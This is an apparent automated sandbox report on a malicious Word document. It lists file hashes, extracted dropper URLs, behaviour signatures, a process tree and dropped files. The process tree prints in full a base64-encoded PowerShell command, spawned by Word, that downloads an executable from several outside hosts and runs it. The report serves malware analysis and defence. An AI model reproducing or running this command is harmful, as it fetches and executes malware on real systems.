Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/05/2024, 19:07

General

  • Target

    7a327006a49fa731461955d500e312dc_JaffaCakes118.doc

  • Size

    244KB

  • MD5

    7a327006a49fa731461955d500e312dc

  • SHA1

    331daffed89c0391683f12c91bdd35d4a4a45106

  • SHA256

    788d5bb87879fca4fec80a7ab909d74baf2cb634036860e37ebdaa7f44b49674

  • SHA512

    8779b99fa388dd9ddb8c975cac29a7fe8a10829ea0a92c5ec5142f5e8216c53393970a6594d20cec570b46ecf6a9eab980d06b82bbb920508b7f494a52d31f22

  • SSDEEP

    3072:iKmtgp237irS5/01rO9rN4iG/8jL/xSu90OoiLuDKZXfwKeljR1A:iKSo237ir4/2O9rN4d/KxUOmD+XfwL0

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://iventurecard.co.uk/mqGwkGN

exe.dropper

http://yduocvinhphuc.info/kblPYSdiX

exe.dropper

http://zinimedia.dk/wCJyaYfn2

exe.dropper

http://nightonline.ru/images/WF0wknLoVI

exe.dropper

http://www.acs.vn/0SCQbnzLv

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7a327006a49fa731461955d500e312dc_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3428
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLL.exe
      PoWersheLL -e JABNAFYAZABRAHMAbQA1AD0AKAAnAG4AJwArACcAZgBSAGwAbABmADgAJwArACcARAAnACkAOwAkAEwAawBBAFEAbAAxAGwAMAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABDAEQAdgBFAGsAdwBNAD0AKAAnAGgAJwArACcAdAB0AHAAJwArACcAOgAvAC8AaQB2AGUAbgB0ACcAKwAnAHUAcgBlAGMAJwArACcAYQByAGQAJwArACcALgBjACcAKwAnAG8AJwArACcALgB1AGsAJwArACcALwAnACsAJwBtAHEARwAnACsAJwB3ACcAKwAnAGsARwBOAEAAaAB0AHQAcAA6AC8ALwB5AGQAdQBvAGMAJwArACcAdgBpAG4AaABwAGgAdQBjACcAKwAnAC4AaQBuACcAKwAnAGYAJwArACcAbwAvAGsAYgBsAFAAJwArACcAWQBTAGQAaQBYACcAKwAnAEAAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACcAcAA6AC8ALwAnACsAJwB6AGkAJwArACcAbgAnACsAJwBpACcAKwAnAG0AZQBkAGkAYQAuACcAKwAnAGQAJwArACcAawAnACsAJwAvAHcAQwBKAHkAYQAnACsAJwBZACcAKwAnAGYAbgAyAEAAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAnAC8AJwArACcALwBuAGkAZwBoAHQAbwBuACcAKwAnAGwAJwArACcAaQBuACcAKwAnAGUALgByAHUALwBpAG0AYQBnAGUAcwAnACsAJwAvAFcAJwArACcARgAwAHcAawBuAEwAJwArACcAbwBWAEkAJwArACcAQAAnACsAJwBoAHQAdABwADoALwAvAHcAdwB3ACcAKwAnAC4AYQBjAHMALgAnACsAJwB2AG4ALwAwACcAKwAnAFMAQwBRACcAKwAnAGIAbgB6ACcAKwAnAEwAdgAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABrAGoATwB2ADAAdgBuAG8APQAoACcAUgBUACcAKwAnAFQAcQB3ACcAKwAnAFoAdQBZACcAKQA7ACQAYwBiAFcANQB3AFoAIAA9ACAAKAAnADIAOQAnACsAJwA5ACcAKQA7ACQAQwByAHoATwBrAGoAagA3AD0AKAAnAHMARwAnACsAJwBpADUAQwBBAGsAJwApADsAJABkAFEAWAA4AGQAdwBBAEYAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABjAGIAVwA1AHcAWgArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0ASAB0AFMAWQBvACAAaQBuACAAJABDAEQAdgBFAGsAdwBNACkAewB0AHIAeQB7ACQATABrAEEAUQBsADEAbAAwAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAE0ASAB0AFMAWQBvACwAIAAkAGQAUQBYADgAZAB3AEEARgApADsAJABEADgAQwA1AG8AYwBMAD0AKAAnAEsAdQAnACsAJwBqAHUAJwArACcASgBGAHAAMwAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABkAFEAWAA4AGQAdwBBAEYAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABkAFEAWAA4AGQAdwBBAEYAOwAkAFUAUABIAHMANgBkAGQAPQAoACcAbwB0AFoASwA0ACcAKwAnAHoAaQB3ACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABKAHcAWQA2AHIAdQBNAHoAPQAoACcAWQBPACcAKwAnAEsAbABEAEcAUAAnACsAJwA4ACcAKQA7AA==
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2744

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\299.exe

          Filesize

          61KB

          MD5

          79be83b97f742794ad5277db51090f8b

          SHA1

          c184945c83c41ec5ea94900bb1d8901522d6478e

          SHA256

          11a8c7126109fdde3f108e6a11ea224ee2c14f2f1650d4c17c3a46f8b7b607c6

          SHA512

          e33c34acb0d2824b30c452f560db53ef27f13e1d12e8e5671374bde808797664dc8bf9afbddbbb57a55cda29dc5781b49068c10b169bfb945f97fca8397e7d01

        • C:\Users\Admin\AppData\Local\Temp\TCD8CC6.tmp\sist02.xsl

          Filesize

          245KB

          MD5

          f883b260a8d67082ea895c14bf56dd56

          SHA1

          7954565c1f243d46ad3b1e2f1baf3281451fc14b

          SHA256

          ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

          SHA512

          d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sw0cdiia.3yo.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/2744-51-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/2744-86-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/2744-58-0x000001E6EDC40000-0x000001E6EDC62000-memory.dmp

          Filesize

          136KB

        • memory/3428-13-0x00007FFEA7650000-0x00007FFEA7660000-memory.dmp

          Filesize

          64KB

        • memory/3428-47-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-12-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-11-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-10-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-0-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

        • memory/3428-8-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-6-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-15-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-14-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-18-0x00007FFEA7650000-0x00007FFEA7660000-memory.dmp

          Filesize

          64KB

        • memory/3428-17-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-16-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-22-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-21-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-20-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-19-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-38-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-39-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-9-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-49-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-50-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-7-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-5-0x00007FFEE994D000-0x00007FFEE994E000-memory.dmp

          Filesize

          4KB

        • memory/3428-4-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

        • memory/3428-66-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-2-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

        • memory/3428-3-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

        • memory/3428-87-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-88-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-1-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

        • memory/3428-449-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-567-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-568-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3428-591-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

        • memory/3428-594-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

        • memory/3428-593-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

        • memory/3428-592-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

        • memory/3428-595-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB